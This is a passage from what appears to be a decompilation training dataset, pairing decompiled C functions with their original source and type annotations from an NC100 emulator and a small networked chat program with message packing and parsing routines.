static char buf[1024];
char *nchome = getenv("NC100EM_HOME");
if(nchome)
  {
  mkdir(nchome,0777);
  snprintf(buf,sizeof(buf),"%s/%s",nchome,file);
  }
else
  {
  char *home = getenv("HOME");
  if(!home)
    snprintf(buf,sizeof(buf),"%s",file);
  else
    {
    snprintf(buf,sizeof(buf),"%s/nc100",home);
    mkdir(buf,0777);
    snprintf(buf,sizeof(buf),"%s/nc100/%s",home,file);
    }
  }
return(buf);
}

variable_types:
file
char *

variable_types:
buf
char [1024]

variable_types:
nchome
char *

variable_types:
home
char *

return_type: char *


decompiled_code:
__int64 __fastcall press_autokeys(int a1)
{
__int64 v1; // rdi
__int64 result; // rax

v1 = 4LL * a1;
*((_BYTE *)&keyports + autokeys[v1]) |= autokeys[v1 + 1];
result = (unsigned int)autokeys[v1 + 3];
*((_BYTE *)&keyports + autokeys[v1 + 2]) |= result;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func3(int a1)
{
__int64 v1; // rdi
__int64 result; // rax

v1 = 4LL * a1;
*((_BYTE *)&keyports + autokeys[v1]) |= autokeys[v1 + 1];
result = (unsigned int)autokeys[v1 + 3];
*((_BYTE *)&keyports + autokeys[v1 + 2]) |= result;
return result;
}

original_code:
void press_autokeys(int pos)
{
keyports[autokeys[pos].port1]|=autokeys[pos].mask1;
keyports[autokeys[pos].port2]|=autokeys[pos].mask2;
}

variable_types: pos int


decompiled_code:
_BYTE *unpress_autokeys()
{
_BYTE *result; // rax

result = &keyports;
do
*result++ = 0;
while ( result != (_BYTE *)(unsigned int)((_DWORD)&keyports + 10) );
return result;
}

canonical_decompiled_code:
_BYTE *func4()
{
_BYTE *result; // rax

result = &keyports;
do
*result++ = 0;
while ( result != (_BYTE *)(unsigned int)((_DWORD)&keyports + 10) );
return result;
}

original_code:
void unpress_autokeys(void)
{
int f;
for(f=0;f<10;f++) keyports[f]=0;
}

canonical_original_code:
void unpress_autokeys()
{
int f;
for(f=0;f<10;f++) keyports[f]=0;
}

variable_types: f int


repo: No-name/ball

decompiled_code:
void __fastcall list_del(__int64 a1)
{
_list_del(*(_QWORD **)(a1 + 8), *(_QWORD *)a1);
*(_QWORD *)a1 = 0LL;
*(_QWORD *)(a1 + 8) = 0LL;
}

original_code:
static inline void list_del(struct list_head *entry)
{
 __list_del(entry->prev, entry->next);
 entry->next = ((void *)0);
 entry->prev = ((void *)0);
}

variable_types: struct list_head { struct list_head *next; } *


decompiled_code:
_BOOL8 __fastcall list_empty(_QWORD *a1)
{
return *a1 == (_QWORD)a1;
}

canonical_decompiled_code:
_BOOL8 __fastcall func2(_QWORD *a1)
{
return *a1 == (_QWORD)a1;
}

original_code:
static inline int list_empty(const struct list_head *head)
{
 return head->next == head;
}

canonical_original_code:
static inline int list_empty(struct list_head *head)
{
 return head->next == head;
}

user_defined_types: struct list_head { struct list_head *next; }


original_code:
void package_message(struct message_packet * msg)
{
 int len;
 char * p = msg->content;
 *(int *)p = htonl(msg->version);
 p += 4;
 *(int *)p = htonl(msg->type);
 p += 4;
 *(int *)p = 0;
 p += 4;
 switch (msg->type)
 {
  case MSG_TYPE_LOGIN:
   len = msg->login_info.name_len;
   *p = len;
   p += 1;
   memcpy(p, msg->login_info.name, len);
   p += len;
   len = msg->login_info.passwd_len;
   *p = len;
   p += 1;
   memcpy(p, msg->login_info.passwd, len);
   p += len;
   break;
  case MSG_TYPE_CHART:
   len = msg->chart_info.from_len;
   *p = len;
   p += 1;
   memcpy(p, msg->chart_info.from, len);
   p += len;
   len = msg->chart_info.to_len;
   *p = len;
   p += 1;
   memcpy(p, msg->chart_info.to, len);
   p += len;
   len = msg->chart_info.msg_len;
   *(unsigned short *)p = htons(len);
   p += 2;
   memcpy(p, msg->chart_info.msg, len);
   p += len;
   break;
  case MSG_TYPE_PEER_LIST:
   if (msg->peer_list.more)
    *p = 0x01;
   else
    *p = 0x00;
   p = msg->peer_list.end;
   break;
  default:
   ((void) sizeof ((0 && "message type invalid") ? 1 : 0), __extension__ ({ if (0 && "message type invalid") ; else __assert_fail ("0 && \"message type invalid\"", "ball.c", 135, __extension__ __PRETTY_FUNCTION__); }));
   msg->length = 0;
   return;
 }
 len = p - msg->content;
 ((int *)msg->content)[2] = htonl(len);
 msg->length = len;
 return;
}

canonical_original_code:
void package_message(struct message_packet *msg)
{
 int len;
 char *p = msg->content;
 *(int *)p = htonl(msg->version);
 p += 4;
 *(int *)p = htonl(msg->type);
 p += 4;
 *(int *)p = 0;
 p += 4;
 switch (msg->type)
 {
  case MSG_TYPE_LOGIN:
   len = msg->login_info.name_len;
   *p = len;
   p += 1;
   memcpy(p, msg->login_info.name, len);
   p += len;
   len = msg->login_info.passwd_len;
   *p = len;
   p += 1;
   memcpy(p, msg->login_info.passwd, len);
   p += len;
   break;
  case MSG_TYPE_CHART:
   len = msg->chart_info.from_len;
   *p = len;
   p += 1;
   memcpy(p, msg->chart_info.from, len);
   p += len;
   len = msg->chart_info.to_len;
   *p = len;
   p += 1;
   memcpy(p, msg->chart_info.to, len);
   p += len;
   len = msg->chart_info.msg_len;
   *(unsigned short *)p = htons(len);
   p += 2;
   memcpy(p, msg->chart_info.msg, len);
   p += len;
   break;
  case MSG_TYPE_PEER_LIST:
   if (msg->peer_list.more)
    *p = 0x01;
   else
    *p = 0x00;
   p = msg->peer_list.end;
   break;
  default:
   ((void) sizeof ((0 && "message type invalid") ? 1 : 0), __extension__ ({ if (0 && "message type invalid") ; else __assert_fail ("0 && \"message type invalid\"", "ball.c", 135, __extension__ __PRETTY_FUNCTION__); }));
   msg->length = 0;
   return;
 }
 len = p - msg->content;
 ((int *)msg->content)[2] = htonl(len);
 msg->length = len;
 return;
}

variable_types: struct message_packet { struct list_head { struct list_head *next; } next; int msg_is_ok; int type; int length; int version; union { struct { int name_len; int passwd_len; char *name; char *passwd; } login_info; struct { int from_len; int to_len; int msg_len; char *from; char *to; char *msg; } chart_info; struct { int more; char *start; char *end; } peer_list; }; char content[1024]; } *

variable_types: len int

variable_types:
p
char *

user_defined_types: struct message_packet { struct list_head next; int msg_is_ok; int type; int length; int version; union { struct { int name_len; int passwd_len; char *name; char *passwd; } login_info; struct { int from_len; int to_len; int msg_len; char *from; char *to; char *msg; } chart_info; struct { int more; char *start; char *end; } peer_list; }; char content[1024]; }


decompiled_code:
__int64 __fastcall message_package_head(unsigned int *a1)
{
__int64 result; // rax

a1[18] = _bswap_32(a1[7]);
a1[19] = _bswap_32(a1[5]);
result = _bswap_32(a1[6]);
a1[20] = result;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func7(unsigned int *a1)
{
__int64 result; // rax

a1[18] = func4(a1[7]);
a1[19] = func4(a1[5]);
result = func4(a1[6]);
a1[20] = result;
return result;
}

original_code:
void message_package_head(struct message_packet * msg)
{
 char * p = msg->content;
 *(int *)p = htonl(msg->version);
 p += 4;
 *(int *)p = htonl(msg->type);
 p += 4;
 *(int *)p = htonl(msg->length);
}

canonical_original_code:
void message_package_head(struct message_packet *msg)
{
 char *p = msg->content;
 *(int *)p = htonl(msg->version);
 p += 4;
 *(int *)p = htonl(msg->type);
 p += 4;
 *(int *)p = htonl(msg->length);
}


original_code:
void message_parse_body(struct message_packet * msg)
{
 char * p = msg->content;
 p += 12;
 switch (msg->type)
 {
  case MSG_TYPE_LOGIN:
   msg->login_info.name_len = *p;
   p += 1;
   msg->login_info.name = p;
   p += msg->login_info.name_len;
   msg->login_info.passwd_len = *p;
   p += 1;
   msg->login_info.passwd = p;
   break;
  case MSG_TYPE_CHART:
   msg->chart_info.from_len = *p;
   p += 1;
   msg->chart_info.from = p;
   p += msg->chart_info.from_len;
   msg->chart_info.to_len = *p;
   p += 1;
   msg->chart_info.to = p;
   p += msg->chart_info.to_len;
   msg->chart_info.msg_len = ntohs(*(short *)p);
   p += 2;
   msg->chart_info.msg = p;
   break;
  default:
   break;
 }
}

canonical_original_code:
void message_parse_body(struct message_packet *msg)
{
 char *p = msg->content;
 p += 12;
 switch (msg->type)
 {
  case MSG_TYPE_LOGIN:
   msg->login_info.name_len = *p;
   p += 1;
   msg->login_info.name = p;
   p += msg->login_info.name_len;
   msg->login_info.passwd_len = *p;
   p += 1;
   msg->login_info.passwd = p;
   break;
  case MSG_TYPE_CHART:
   msg->chart_info.from_len = *p;
   p += 1;
   msg->chart_info.from = p;
   p += msg->chart_info.from_len;
   msg->chart_info.to_len = *p;
   p += 1;
   msg->chart_info.to = p;
   p += msg->chart_info.to_len;
   msg->chart_info.msg_len = ntohs(*(short *)p);
   p += 2;
   msg->chart_info.msg = p;
   break;
  default:
   break;
 }
}


decompiled_code:
__int64 __fastcall put_message(char **a1, int a2)
{
int v2; // ebx
char *v3; // rbp
int v4; // eax
__int64 result; // rax
int *v6; // rdx

v2 = *((_DWORD *)a1 + 3);
v3 = *a1;
while ( 1 )
{
v4 = write(a2, v3, v2);
if ( v4 == -1 )
break;
v3 += v4;
v2 -= v4;
if ( !v2 )
{
*((_DWORD *)a1 + 3) = 0;
*a1 = 0LL;
return 5LL;
}
}
v6 = _errno_location();
result = 3LL;
if ( *v6 == 11 )
{
*((_DWORD *)a1 + 3) = v2;
*a1 = v3;
result = 4LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func10(char **a1, int a2)
{
int v2; // ebx
char *v3; // rbp
int v4; // eax
__int64 result; // rax
int *v6; // rdx

v2 = *((_DWORD *)a1 + 3);
v3 = *a1;
while ( 1 )
{
v4 = write(a2, v3, v2);
if ( v4 == -1 )
break;
v3 += v4;
v2 -= v4;
if ( !v2 )
{
*((_DWORD *)a1 + 3) = 0;
*a1 = 0LL;
return 5LL;
}
}
v6 = _errno_location();
result = 3LL;
if ( *v6 == 11 )
{
*((_DWORD *)a1 + 3) = v2;
*a1 = v3;
result = 4LL;
}
return result;
}

original_code:
int put_message(struct msg_status * status, int fd)
{
 int wbyte;
 int left = status->left;
 char * p = status->position;
 while (1)
 {
  wbyte = write(fd, p, left);
  if (wbyte == -1)
  {
   if ((*__errno_location ()) == 11 || (*__errno_location ()) == 11)
   {
    status->left = left;
    status->position = p;
    return MSG_SEND_AGAIN;
   }
   return MSG_SEND_FAILED;
  }
  p += wbyte;
  left -= wbyte;
  if (left == 0)
  {
   status->left = 0;
   status->position = ((void *)0);
   return MSG_SEND_FINISH;
  }
 }
}

canonical_original_code:
int put_message(struct msg_status *status, int fd)
{
 int wbyte;
 int left = status->left;
 char *p = status->position;
 while (1)
 {
  wbyte = write(fd, p, left);
  if (wbyte == -1)
  {
   if ((*__errno_location ()) == 11 || (*__errno_location ()) == 11)
   {
    status->left = left;
    status->position = p;
    return MSG_SEND_AGAIN;
   }
   return MSG_SEND_FAILED;
  }
  p += wbyte;
  left -= wbyte;
  if (left == 0)
  {
   status->left = 0;
   status->position = ((void *)0);
   return MSG_SEND_FINISH;
  }
 }
}

variable_types: struct msg_status { char *position; int phase; int left; } *

variable_types: fd int

variable_types: wbyte int

variable_types: left int